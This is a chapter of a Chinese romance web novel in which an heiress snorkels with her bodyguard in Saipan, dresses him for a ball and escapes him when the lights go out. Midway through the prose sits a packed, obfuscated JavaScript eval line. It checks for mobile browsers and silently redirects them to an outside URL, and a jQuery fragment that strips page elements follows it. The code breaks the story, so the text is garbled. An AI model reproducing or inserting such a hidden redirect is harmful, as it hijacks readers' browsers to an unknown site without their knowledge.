3. 逃离

作品:《今夜渡我

    游艇折射着刺眼的阳光,静静地停泊在澄澈的海面上。


    下方蓝洞里,黎星纯头戴护目镜,脚穿脚蹼,跟条美人鱼似的,自由又柔美地穿梭在鱼群里。


    程禁和其他游客家属一起等在甲板上。


    不似其他人那般放松,他望着海面的眼始终充满警惕,蹙着眉心,警惕不已。


    不时,老船长走过来,给他递烟,顺带问了一句:“刚刚那个像小公主一样的女孩,是你女朋友吧?”


    程禁婉拒了对方递烟的好意,但没否认他的问题。


    两人如今在人生地不熟的地方,还是别让他人知道太多信息,以免身份暴露,招来不怀好意。


    老船长见他点头,但眼睛没离开过水面,便宽慰道:“放心,不会有事的,我在塞班带人潜泳多年了,没出过事故,再者你女朋友一看就很会游泳。


    程禁抬起手表看了一眼:“三分钟了。”还没上来。


    没再犹豫,他果断俯身跃下,在海面上炸开水花。


    “诶,这年轻人真是!”


    老船长嗔怪一声后,摇头失笑。


    此刻,水下。


    正和鱼群互动的黎星纯,突然发现头顶平静的水面窜下一串气泡,有道白色的人影在里面逐渐清晰。


    周围的鱼吓得四下逃窜。


    而她很快看清了那个朝她奋力游来的人是谁,程禁。


    他穿过一个又一个潜泳者,精准来到她面前。


    速度过快,以至于最后有些刹不住车,近到与她贴脸。


    那一刻,程禁被海水浸润的五官,与眼底那带了点人味的紧张情绪,竟让他的美貌度直线上升,把犯懵的黎星纯狠狠惊艳了一把。


    他怎么下来了?


    不是说,他不喜欢玩这些刺激的项目吗?


    她吐了一圈泡泡给他,当是打招呼了。


    程禁却像是误会了。


    他蹙紧眉头,双手握住她的胳膊,不顾她的茫然,将她快速往上托去。


    “干什么?”


    钻出海面,黎星纯趴在就近的救生圈上,摘下潜泳镜,不爽地问身前的男人。


    程禁回答得一本正经:“加上之前的几次换气,你在水里待满了半个小时,我怕你脱力溺水,你……该回游艇休息了。”


    “喂。”


    黎星纯不满,倒出泳镜里的水,满腹吐槽,“你怎么跟个男妈妈一样,还帮我看时间啊。”


    “我说过,你的生命安全在我这是最高等级。”


    程禁的眉弓还挂着水,下方美艳的眼眸里,晕染了水润和温柔,只可惜他说起话来,还是冷冰冰的,能冻死人,“我有义务提醒你注意安全。”


    再怎么,他的出发点也是好的。


    黎星纯再是不爽,也只能压制自己的烦躁:“好啦,知道了。”说完,她放开救生圈朝他游过去。


    可游近了,程禁却目露犹疑,下意识侧过头,像在躲避什么。


    黎星纯知道自己现在穿的是有些少。


    三点式纯白比基尼,根本遮不住身前的白,与衬衫里面还要加件保守老头衫做打底的他,可以说是两种生物。


    不过,他这也太纯情了吧。


    黎星纯想逗逗他,于是故意将泳圈踹得远远的,装作脱力的模样,在水中挣扎了两下。


    原本还躲着她的程禁,见此,还是游了过来,把自己的胳膊让出来,让她扶着充当救生圈。


    “果然啊,我不能没有阿禁保护。你说脱力,我果然就脱力了。”她卖乖,但眼下的狡黠一点也不藏。


    程禁定定凝视她,知道她是故意逗他的,眼底不再有什么情绪。


    黎星纯却觉得此时此刻,他的眼睛比他们身处的蓝洞还要深邃勾人。


    如果他不是被她爹地派来捉她回去的,倒也不是不可以和他来一场浪漫邂逅。


    忽而,水浪变大了些。


    使得两人有接触的地方,不受控地一撞又一撞。


    尤其是她前胸,控制不住地撞上他手臂上的梆硬肌肉,触感清晰得不行。


    饶是自诩还算open的黎星纯,此刻也不禁红了脸。


    她稍稍远离些,轻咳一声,理直气壮:“那个,我没力气了,你带我游回去。”


    程禁没应声,但听话地牵着她,往不远处的游艇划水过去。


    半个小时后。


    游艇载上所有游客,迎着夕阳返程。


    黎星纯躺在沙滩椅上,戴着墨镜,眺望远处的夕阳,好不悠闲。


    程禁候在一旁。


    没多久,他便敏锐地观察到周围有不少目光落在黎星纯身上。


    犹豫一瞬后,他从旁取来条浴巾,随意地盖住她全身。


    黎星纯疑惑蹙眉,就要把浴巾撤走,但程禁预判了她的动作,他俯身双手压住浴巾两端,将她近乎囚于他的双臂之间。


    “干什么?”


    程禁似乎想要解释,但薄唇打开几次,都说不出个所以然来,最后妥协道:“接下来,大小姐还想去哪冒险?”


    “今天去了冲浪、攀岩、赛马,可你都不行诶。”说到最后几个字时,黎星纯鼓着脸,意有所指着。


    但当程禁质疑的目光追逐而来时,她又悄然转移视线,笑道,“那就只能去一些比较温和的地方,刺激下多巴胺了。”


    程禁望向远方,暮色的暖意没有温暖他半分。


    “骑马、冲浪,不是不会。只是我现在格外珍惜这条命,再加上还有很多事没有完成,我不想在可控的事情里,发生任何意外。”


    黎星纯愣了下,好奇:“那刚刚你来找我,就不怕……”


    他侧首看来,低哑的嗓音带着坚定:“大概,你是例外。”音落,船恰好靠岸,他直起身,“披上浴巾,路上风大。”


    说完,他走去甲板那,静静等她一起下船。


    黎星纯看着他单薄的侧影,嗤笑一声,喃喃自语:“搞什么,说那么暧昧的话,还不是怕我出事,没法向我爹地交代?”


    她跟随他过去,把墨镜递给他,“走,下一站。”


    *


    去塞班岛的高端会所百丽宫前,黎星纯特意带程禁去造型店挑了身礼服,以及一套妆造。


    一开始,程禁明显不愿。


    但拗不过她,还是随柜姐去了妆造间。


    半小时后,换好礼服的黎星纯,独自坐在贵宾室的沙发上等候程禁出来。


    她随手抄起茶几的打火机,不知道点燃了多少下。


    直到又一声“蹭”的脆响后,前方紧闭的妆造间门被打开。


    程禁随柜姐出来。


    那一刻,黎星纯终于体会到为什么同圈层的公子哥会喜欢带漂亮女伴去试买各种高定了。


    那是一种看着被自己发掘的作品变得更美更好的爽感。


    如果说地下拳击场那夜,程禁是不修边幅的糙;听汐庭里,他是中规中矩的帅;那么眼前闲庭信步的他,则是金雕玉琢后的冷艳。


    黑色丝绒西装贴得肩线利落如刀刻,白衬衫领口别着的银质领针泛着冷光,恰好压下几分凌厉。


    袖口的长度刚好到腕骨,一双骨骼分明的手,正认真又细致地整理着袖扣,一举一动竟然透着一股与生俱来的贵气,让黎星纯有些恍惚。


    之前那个几度在生死边缘挣扎的地下拳击手,和眼前的贵气少爷,根本就不是同一人。


    柜姐在旁感慨:“黎小姐,您眼光真好,这身真就像为您男朋友量身剪裁的一样。”


    程禁侧头看向柜姐,下意识张口否认。


    黎星纯率先回复:“是啊,本小姐不仅挑衣服的眼光不错,挑人的眼光……也很可以。”


    程禁微微蹙眉看来。


    黎星纯圆溜溜的眼,笑得眯了起来,不掩狡黠。


    他轻咳一声,侧过头,没理会她。


    黎星纯却心情大好,起身,双指夹出黑卡,向柜姐出示:“就这身了,一样的款式,一样的尺寸,三套。”


    霎那间,柜姐的眼睛比澳白珍珠还亮。


    但程禁上前按下她的手,迟疑一瞬后,果断拒绝:“大小姐,我日常不太需要穿这身衣服,就算买了也是浪费。而且再怎么,也不该是你……”


    “我这是为自己的眼睛花钱。”


    黎星纯的话语和神色,带着资本家大小姐特有的傲,“以后,你可是每天都要像今天这样,在我面前晃悠的,不好好打扮的话,会很影响我心情。”


    听此,程禁看着她的眸光,像见不到底的海那样幽沉。


    黎星纯不在乎他的想法,继续刷卡支付,并对柜姐要求,除程禁身上那套,其他行头都送去昨夜两人下榻的酒店。


    他们进到百丽宫舞池时,天幕正炸开今日舞会的第一波烟花。


    离逃离的时间越近,黎星纯的心就越难以平静。


    今天,她在程禁面前演各种“没他不行”、“要他保护”的戏码,为的就是希望他能对她放松警惕。


    只有这样,到了舞会半程那长达五分钟的熄灯热吻环节。


    她才可以一击逃离,彻底甩掉程禁这个尾巴。


    想着,黎星纯转了半圈,面朝程禁。


    那身蓝色海浪般的礼服裙摆,在低空绽放,尽显她的恣意和优雅,尤其是大理石地面还映着上方层层叠叠的水晶吊顶,她每朝他走一步,都像是踩着星芒的童话公主,美得像是会发光。


    “阿、禁!”


    突然被点到名字,程禁从刚刚被蓝色星芒晃到的迷失中醒神,神情转为恪尽职责的肃然。


    他微微颔首,沉声道:“大小姐,请吩咐。”


    “舞会马上就要开始了,大家都有舞伴,就我没有。所以我想……请你充当舞伴的角色。”


    程禁愣了下,找借口:“我不会跳舞。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211142|197397||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “没事啊,有我带着你呢。”


    黎星纯走到他面前,右手抬起他的左手,整个人绕着他的指尖转了一圈。


    裙摆轻擦过他的裤腿,两人的鞋尖再次相对。


    “就像这样。”


    音落,黎星纯整个人突击到他身前,随后不顾危险,朝后下腰。


    程禁连忙伸出手,扶住她的后背,做她全身重量唯一的支点。


    只是这番举止实在太过亲昵。


    程禁犹豫一瞬后,准备把她扶正并撤退,留出两人之间的安全距离。


    谁知黎星纯反手勾住他的肩膀,另一只手将他垂在身侧的手捞上来,带着点强迫性质地与他十指相扣,力道大得不太像是她这个小姑娘该有的。


    就在他愣怔之时,舞会的钟声响起,各国的情侣纷纷踏入舞池里,亲昵地跳起了舞。


    程禁无奈,收回目光,带着责备之意,看怀里眸光得意的她。


    他薄唇轻掀,染着一层压迫感:“最多就一支。”


    “嗯哼。”黎星纯把自己完全交给他,由他带节奏跟随音乐开始跳舞。


    随着音乐进入高潮部分,她也掐准时间,用彼此能听到的声音,娓娓道来:“程禁,英文名Akin,蓝眸华裔,26岁,生父不祥,自幼与母亲在加州相依为命。”


    肉眼可见。


    每当她说出一个信息,程禁的眼神就冷下一分。


    不过黎星纯并不在意,只眼底含着笑,继续道:“你曾和我同一个大学毕业,但不知为什么,突然流落到了地下拳击场,在里面打了一年的黑拳。”


    “你……调查我?”


    “不算特意调查,只是我这人疑心重,身边多个人,自然是要知道他的底细。”


    程禁眸色微混黑色:“所以,你都知道些什么?”


    “是你能向我坦白什么才对。”


    黎星纯一个撤退,又快速转进他怀里。


    骤然间,两人呈现前胸贴后背的姿势,紧密无比。


    黎星纯轻笑一声,想要转出去,却发现他箍着她腰的手加大了力道,近乎是扣着她。


    她不爽,仰头望向他表达不满,却与之恰好对上眼。


    只见那里藏着一座北极飘来的冰川,腾着能肃杀万物的寒气。


    “知道太多,不是什么好事。”他双唇轻启,哑声警告。


    这话是事实。


    黎星纯不跟他辩驳,只继续道:“我跟你说过我有个妹妹吧。”


    程禁没给任何反应,甚至禁锢她的手也不曾松懈半分,让她有些吃疼。


    不过她并不着急,只是将原本优雅的华尔兹,叛逆地改成了贴身热舞。


    贴身到……他们的轮廓完全契合。


    程禁不设防又强制想压下的轻哼,在她身后响起。


    黎星纯不由得轻蔑一笑,淡淡叙说:“我和她是同父异母的姐妹。可从小到大,她和我后妈,就只有一个目标……就是要我这个阻碍他们一家三口幸福的人,消失。”


    “十三岁那年,我被流放到加州。哪怕与港城相隔甚远,但我没少在后妈和妹妹的手里吃亏,甚至是多次危及生命的那种。”


    这话一出,程禁明显愣了下。


    黎星纯也趁机从他的禁锢中脱离,在一个帅气旋身后,又贴回到他身前。


    她仰起头,朝他微笑。


    不过眼里再没了先前的古灵精怪,只剩下一丝黯然。


    “这十年,我过得无比谨慎。小到吃食,大到住行和交友,我都是一挑再挑。生怕遇到她们安插到我身边的人。”


    “所以阿禁,你是她们派来的吗?”她问出心底的问题。


    “不是。”他垂眸看她,回答无比果断。


    黎星纯终于漾开如常明媚的笑容:“那就好。”


    说罢,她惦记脚尖,将自己完全挂在他身上。


    这番动作落在旁人眼里,是标准的献吻姿势。


    程禁本该后退躲开,与她保持距离,但那一刻,他双脚像是被焊死了一般,没能挪动分毫。


    他直勾勾看着她,像要看穿她到底想做什么。


    忽然,音乐结束,世界陷入黑暗之中。


    程禁感觉唇前有气息挨近,但最后,那抹白兰香的热意却晕染在了他的耳畔,包括属于她独特的软糯话音:“可我不信。”


    下一秒,怀里的温软骤然消散,他伸手在虚空中一抓,却只抓住她身上无意飘落的丝巾。


    而她放开了他,消失在一片漆黑里。


    这一刻,程禁终于意识到刚才黎星纯贴上来看似要吻他的行为,是为了什么。


    那不过是为了从他手里拿回两人间的掌控权,然后……彻底丢开他。


    程禁冷下眸光,继而嗤笑,周身燃起危险的气焰。


    他攥着丝巾,笃定的步伐穿行在黑暗中,去寻回那不乖的、黎大小姐。